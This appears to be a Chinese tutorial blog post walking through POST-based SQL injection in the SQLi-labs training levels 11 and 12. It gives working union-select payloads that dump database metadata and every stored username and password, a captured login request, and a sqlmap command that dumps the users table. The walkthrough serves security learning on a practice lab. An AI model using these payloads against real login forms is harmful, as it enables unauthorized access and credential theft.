POST注入
这次,我们接触到了之前从未接触过的POST注入。
先看一下题目:
哇,好新颖,这次页面上有框框啦。
1. 题目分析
首先我们还是要先分析一下题目。
先随便输入一些东西看看。
页面提示你登陆尝试失败。。。说明这个username
和password
是不能随便输入的。
那么根据之前的经验,我们试一下admin
可以看到,我们成功登陆了。而且网页下方也给出了我们的账户信息。因此,我们的注入点就要放在username
和password
的框框上面。
2. 注入过程
首先我们要判断出字段username
和password
是用什么包裹的。
通过上面两个例子,我们大致能判断出username
和password
都是用单引号''
包裹的。
然后再来判断检索字段的个数:
输入3报错,我们输入2
说明检索字段是2个。
我们用union select 1,2
尝试一下。
这样,我们就可以开始查水表了~~
先爆数据库和版本信息:
' union select database(), version()#
接着就是查数据表名,字段名。
' union select (select group_concat(table_name) from information_schema.tables where table_schema="security"),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")#
这些命令之前都有讲过,只是之前的提交方式是get而现在是post。因此没有什么太大的差异。就不再说了。
最后是查这个users
表,爆出所有用户信息:
' union select (select group_concat(username) from users), (select group_concat(password) from users)#
less-12
12和11的步骤一样。只是username
的类型不同。
12的username
为("username")
也就是使用了双引号和括号包裹。
这里给出最后的爆破步骤:
") union select (select group_concat(username) from users), (select group_concat(password) from users)#
使用SQLmap测试一下POST注入:
首先要使用burp suite
把这个POST包抓下来。
POST /sqli/Less-11/ HTTP/1.1
Host: 192.168.x.xxx:7788
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.x.xxx:7788
Connection: close
Referer: http://192.168.x.xxx:7788/sqli/Less-11/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
把这些内容复制到一个文件里。
然后执行sqlmap
sqlmap.py -r F:\\1.txt -p passwd --batch -D security -T users --dump